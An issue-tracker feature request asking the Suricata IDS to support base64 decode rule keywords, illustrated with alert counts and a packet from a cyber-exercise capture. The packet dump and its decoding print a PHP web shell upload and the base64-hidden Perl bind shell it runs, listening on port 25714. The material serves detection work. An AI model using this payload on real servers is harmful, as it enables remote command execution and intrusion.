Project

General

Profile

Feature #380

Updated by Victor Julien over 12 years ago


 I think it is important for Suricata to support Base64 decode/data rule keywords (a few of them). 

 Ex -  


 Everything below comes from www.itoc.usma.edu/research/dataset/data/2009-04-20-09-05-46.dmp 
 in general - that is a 156 M pcap with over 1 million packets. That traffic is really bad, SYN and ACK out of order, windows sizes are just anyway they feel to be and so on - normal it's    "bad" traffic.Things like : 


 6    [1:22100005:1] SURICATA STREAM 3way handshake SYNACK resend with different seq 
       2    [1:22100015:1] SURICATA STREAM CLOSEWAIT ACK out of window 
     112    [1:22100020:1] SURICATA STREAM ESTABLISHED packet out of window 
       8    [1:22100021:1] SURICATA STREAM ESTABLISHED packet before last ack 
      26    [1:22100022:1] SURICATA STREAM ESTABLISHED SYNACK resend 
      12    [1:22100031:1] SURICATA STREAM FIN1 ack with wrong seq 
       2    [1:22100034:1] SURICATA STREAM FIN2 ack with wrong seq 
       8    [1:22100035:1] SURICATA STREAM FIN2 FIN with wrong seq 
      31    [1:22100037:1] SURICATA STREAM FIN recv but no session 
     274    [1:22100039:1] SURICATA STREAM Last ACK with wrong seq 
      73    [1:22100041:1] SURICATA STREAM RST recv but no session 
     927    [1:22100042:1] SURICATA STREAM TIMEWAIT ACK with wrong seq 
    3741    [1:22100045:1] SURICATA STREAM Packet with invalid ack 
    3741    [1:22100046:1] SURICATA STREAM RST invalid ack 
       4    [1:22100047:1] SURICATA STREAM reassembly segment before base seq 






 pcap 22to35.pcap attached. 
 In it (packet #12 - if you open it with wireshark) 

 This below is the hex data in packet #12 from 22to35.pcap 

 <pre> 
 3b205048505345535349443d5b2a5d204572726f722072657472696576696e6720636f6f6b6965210a0d0a436f6e74656e742d4c656e6774683a203338350d0a0d0a2d2d6432746d53490d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d227573657266696c65223b2066696c656e616d653d224f624879644269353157677230636a48514936752e706870220d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a0d0a3c3f7068702073797374656d286261736536345f6465636f64652827634756796243417454556c504943316c4943636b6344316d62334a724b436b375a586870644378705a6952774f33646f6157786c4b43526a5057356c6479424a547a6f365532396a613256304f6a704a546b56554b4578765932467355473979644377794e5463784e4378535a58567a5a5377784c4578706333526c62696b74506d466a5932567764436c374a483474506d5a6b6233426c6269676b597978334b5474545645524a5469302b5a6d5276634756754b43526a4c4849704f334e356333526c625352664948646f6157786c504435394a773d3d2729293f3e0d0a2d2d6432746d53492d2d 
 </pre> 


 This below is the same data into text (ASCII) 

 <pre> (ascii) - (##) used as a delimeter 
 ## 
 ; PHPSESSID=[*] Error retrieving cookie! ##here at the end most likely there is missing colon, maybe... 

 Content-Length: 385 

 --d2tmSI 
 Content-Disposition: form-data; name="userfile"; filename="ObHydBi51Wgr0cjHQI6u.php" 
 Content-Type: text/plain 

 <?php system(base64_decode('cGVybCAtTUlPIC1lICckcD1mb3JrKCk7ZXhpdCxpZiRwO3doaWxlKCRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCwyNTcxNCxSZXVzZSwxLExpc3RlbiktPmFjY2VwdCl7JH4tPmZkb3BlbigkYyx3KTtTVERJTi0+ZmRvcGVuKCRjLHIpO3N5c3RlbSRfIHdoaWxlPD59Jw=='))?> 
 --d2tmSI-- 

 </pre> 
 ## 


 This below is the decoded (from base 64) to asci data in the "php system(base64_decode..." function 

 <pre> 
 ## 
 perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,25714,Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}' 
 </pre> 


 ## 

 or the attack itself, since this is a pcap from the cyber games/trainings. 

 We could effectively still search for the data using rules, but we have to covert text to base64 and use it as "content" and it gets tricky. 

 It would be much easier if we have base64 decode keyword, since there are a lot of on-line apps that use base64. 

 packet #7 is the same thing. 

 thanks 

Back